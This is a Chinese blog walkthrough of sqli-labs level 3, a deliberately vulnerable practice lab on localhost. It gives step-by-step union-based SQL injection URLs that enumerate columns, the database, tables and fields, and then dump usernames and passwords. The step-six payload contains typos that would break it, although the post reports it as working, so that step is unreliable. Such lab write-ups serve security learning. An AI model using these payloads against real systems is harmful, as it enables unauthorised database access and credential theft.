欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

sql-lbas闯关(2)

程序员文章站 2024-03-18 13:18:16
...

第三关


第一步 判断注入类型:

1. 根据第三关的提示可以看出,这关的注入类型是:**单引号和单括号** 型注入

sql-lbas闯关(2)

第二步 判断有几个字段位可显示数据

输入:

http://localhost/sqli/Less-3/?id=1') order by 3 --+

依次从1开始替换 ‘3’ 的数值,发现输入4的时候报错,而3正确,说明最大有3位字段可显示数据,正确结果如下图所示:
sql-lbas闯关(2)

第三步 判断可显示数据的是哪几位

输入:(查询出来的结果就是可以显示数据的字段位)

ps:这里的数据是“-1”而不是“1”,因为1是正常数字会占用显示位置;只写到3是因为第二步查询出来只有3个数据显示位
http://localhost/sqli/Less-3/?id=-1') union select 1,2,3 --+

根据查询结果可知,能被我们看到的数据显示位只有 2 和 3
sql-lbas闯关(2)

第四步 爆数据库名

输入:

ps:要在第三步中查询到可显示数据的位置处去显示,否则结果我们看不到
http://localhost/sqli/Less-3/?id=-1') union select 1,database(),3 --+

得到数据库名为:security
sql-lbas闯关(2)

第五步 爆表名

输入:

http://localhost/sqli/Less-3/?id=-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

得到数据库security中有4张表,分别为:emails、referers、uagents、users
sql-lbas闯关(2)

information_schema是标准表,是搭建sql-labs环境时导入数据库时的默认表;
group_concat()是将多个结果以一个结果形式显示,结果中间用逗号隔开;
table_name代表要查询表名
table_shema代表数据库名,后面接指定的数据库名的名字,或直接用database()代替

第六步 爆字段名

输入:(这里我们还是查询的是users表)

http://localhost/sqli/Less-3/?id=-1') union select 1,database(),(select group_concat(column_name) from information_schema.columnss where table_shcema="security" and table_name="users") --+

得到users表中有3个字段,分别为:id、username、password
sql-lbas闯关(2)

第七步 爆数据

输入:(这里我们选择姓名和密码两个字段来爆;2号位置放姓名,3号位置放密码)

http://localhost/sqli/Less-3/?id=-1') union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

得到第一行数据为用户名;第二行为对应用户的密码(例如:用户Dumb的密码为:Dumb)
sql-lbas闯关(2)

相关标签: SQL闯关